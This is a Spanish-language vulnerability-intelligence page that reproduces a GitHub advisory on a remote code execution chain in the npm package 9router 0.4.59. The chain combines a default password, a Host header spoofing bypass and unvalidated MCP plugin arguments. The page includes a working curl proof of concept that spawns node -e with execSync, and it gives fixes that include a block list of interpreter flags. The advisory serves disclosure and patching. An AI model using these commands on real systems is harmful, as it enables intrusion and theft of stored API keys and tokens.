llamaCVEVulnerability Intelligence
/
Advisory · GitHub · npm · 9router

GHSA-4922-8R65-FQ26

Authenticated Remote Code Execution via Host Header Bypass and Unvalidated MCP Plugin Arguments

Parche disponible
Descargar PNG JSON
CVSS 3.1
9.9
Crítica
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche a -38 d de la divulgación
Exposición139 dDesde la divulgación, 3 jul 2026, 3:10 a. m.
Detección138 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Parche 0.4.62
Monitoreo
Detectada +1
26 may 26
3 jul 26
18 nov 26
19 nov 26
26 may 26
9 jul 26
23 ago 26
6 oct 26
19 nov 26
FechaFaseEventoDetalle
Remediación Parche 0.4.62 9router · -38 d desde divulgación
Divulgación Publicada GHSA-4922-8R65-FQ26 divulgada · CVSS 9.9 (GitHub)
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

Summary

9router v0.4.59 contains a chain of vulnerabilities that allows a remote, unauthenticated attacker to achieve arbitrary code execution on the host operating system. The chain combines three weaknesses: a publicly known default password that authenticates any fresh installation, a Host header spoofing bypass of the local-only network gate, and unvalidated arguments passed directly to `child_process.spawn()` when registering MCP plugins. No interaction from the legitimate operator is required.

Root Causes

Bug A — Default Password (`src/app/api/auth/login/route.js`)

The login handler falls back to the hardcoded password `123456` when no password hash exists in the database:

const storedHash = settings?.passwordHash || null;
if (!storedHash) {
  const defaultPwd = process.env.INITIAL_PASSWORD || "123456";
  // compares against this default
}

Every fresh installation is authenticatable with the publicly known credential `123456` until the operator explicitly sets a password through the UI.

Bug B — LOCAL_ONLY Gate Bypass via Host Header (`src/dashboardGuard.js`)

The middleware enforces a `LOCAL_ONLY_PATHS` list — routes that should only be reachable from the machine running 9router. It does this by calling `isLocalRequest()`, which trusts only the client-supplied `Host` header:

function isLocalRequest(request) {
  if (!isLoopbackHostname(request.headers.get("host"))) return false;
  const origin = request.headers.get("origin");
  if (origin) {
    try {
      if (!isLoopbackHostname(new URL(origin).hostname)) return false;
    } catch { return false; }
  }
  return true;
}

A remote attacker sending `Host: localhost:20128` with no `Origin` header passes this check regardless of their actual IP address. The following routes are behind this gate:

/api/cli-tools/cowork-settings    ← MCP plugin registration
/api/cli-tools/antigravity-mitm   ← LLM traffic redirect
/api/mcp/                         ← MCP spawn trigger
/api/tunnel/tailscale-*           ← Tailscale installation and control
/api/oauth/cursor/auto-import     ← Cursor IDE token exfiltration
/api/oauth/kiro/auto-import       ← Kiro AWS SSO token exfiltration

Bug C — Unvalidated MCP Plugin Arguments (`src/app/api/cli-tools/cowork-settings/route.js`)

The `customPlugins` field accepts a `command` and `args` array. The code validates that `command` is in an allowlist (`node`, `npx`, `python`, `uvx`, etc.), but applies no validation to `args`:

const stdioCustoms = customPluginsArray
  .filter((p) => ALLOWED_MCP_COMMANDS.has(path.basename(p.command)))
  .map((p) => ({
    name: ...,
    command: p.command,
    args: Array.isArray(p.args) ? p.args.map(String) : [],  // no validation
  }));

`node` is an allowed command. Passing `["-e", "<arbitrary JavaScript>"]` as args results in `spawn("node", ["-e", "<payload>"])` — executing arbitrary code when the SSE endpoint is hit.

Attack Flow
Step 1: POST /api/auth/login  {"password":"123456"}
        → Returns JWT cookie (Bug A: default credential)

Step 2: POST /api/cli-tools/cowork-settings
        Host: localhost:20128            ← Bug B: HOST bypass
        Cookie: auth_token=<JWT>
        Body: customPlugins with node -e <payload>
        → Plugin registered (Bug C: args not validated)

Step 3: GET /api/mcp/<plugin>/sse
        Host: localhost:20128            ← Bug B: HOST bypass
        Cookie: auth_token=<JWT>
        → spawn("node", ["-e", "<payload>"]) executed on host OS

---

Steps to Reproduce

Prerequisites: Network access to the 9router instance. A fresh install with the default password, or credentials obtained by other means.

Step 1 — Authenticate with the default password:

RESP=$(curl -si http://TARGET/api/auth/login \
  -X POST -H "Content-Type: application/json" \
  -d '{"password":"123456"}')

TOKEN=$(echo "$RESP" | grep -oi 'auth_token=[^;]*' | cut -d= -f2)
echo "JWT: $TOKEN"

Step 2 — Register a malicious plugin using the Host header bypass:

curl -s http://TARGET/api/cli-tools/cowork-settings \
  -X POST \
  -H "Content-Type: application/json" \
  -H "Host: localhost:20128" \
  -H "Cookie: auth_token=$TOKEN" \
  -d '{
    "baseUrl":"http://localhost:20128",
    "apiKey":"x",
    "models":["gpt-4o"],
    "plugins":[],"localPlugins":[],
    "customPlugins":[{
      "name":"poc9r",
      "command":"node",
      "args":["-e","require('\''child_process'\'').execSync('\''(id;hostname;date)>/tmp/rce.txt 2>&1'\'')"]
    }]
  }'

Expected response: `{"success":true,...}`

Step 3 — Trigger execution via the SSE endpoint:

curl -s http://TARGET/api/mcp/poc9r/sse \
  -H "Host: localhost:20128" \
  -H "Cookie: auth_token=$TOKEN" \
  --max-time 5

Step 4 — Verify code execution:

cat /tmp/rce.txt
# Expected output: id, hostname, and date — proving OS command execution

Impact

Primary Impact
  • Arbitrary OS Command Execution on the host running 9router. Commands run as the process user (typically `root` in Docker deployments).
  • Full Database Access — all stored API keys, model provider credentials, and operator settings are readable.
  • Complete System Compromise — attacker can write files, install backdoors, exfiltrate data, or pivot to other services on the host network.
Secondary Impact (via related LOCAL_ONLY routes also unlocked by Bug B)

| Route | Impact |
|---|---|
| `/api/cli-tools/antigravity-mitm` | Silently redirects all LLM inference traffic (prompts + API keys) through an attacker-controlled server |
| `/api/oauth/cursor/auto-import` | Exfiltrates operator's Cursor IDE access token from `~/.config/Cursor/User/globalStorage/state.vscdb` |
| `/api/oauth/kiro/auto-import` | Exfiltrates operator's Kiro AWS SSO refresh token from `~/.aws/sso/cache/` |
| `/api/tunnel/tailscale-install` | Installs Tailscale on the host and joins it to an attacker Tailnet — persistent access that survives 9router being patched or stopped |

Recommended Fix

Fix 1 — Eliminate the default password:
Require the operator to set a password before accepting any authentication. Block all API access with a `503 Setup Required` response until a password hash is stored.

Fix 2 — Fix `isLocalRequest()` to check socket address, not Host header:

function isLocalRequest(request) {
  // Use actual socket address, not client-supplied header
  const ip = request.ip ?? request.headers.get("x-real-ip");
  return ip === "127.0.0.1" || ip === "::1" || ip === "::ffff:127.0.0.1";
}

Fix 3 — Validate MCP plugin arguments:
Deny interpreter flags that allow inline code execution:

const BLOCKED_ARG_PREFIXES = ["-e", "--eval", "-c", "--interactive", "-r", "--require"];
const safeArgs = p.args.filter(arg =>
  !BLOCKED_ARG_PREFIXES.some(blocked => arg === blocked || arg.startsWith(blocked + "="))
);

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:L
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:C
CambiadoSin cambio
ConfidencialidadC:H
AltoBajoNinguno
IntegridadI:H
AltoBajoNinguno
DisponibilidadA:H
AltoBajoNinguno
Versiones

Versiones afectadas

0.4.59
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
npm9router
Corregida 0.4.62 -38 d 0.5.119 no afectada
Versiones corregidas0.4.62
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/decolua/9router/security/advisories/GHSA-4922-8r65-fq26

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.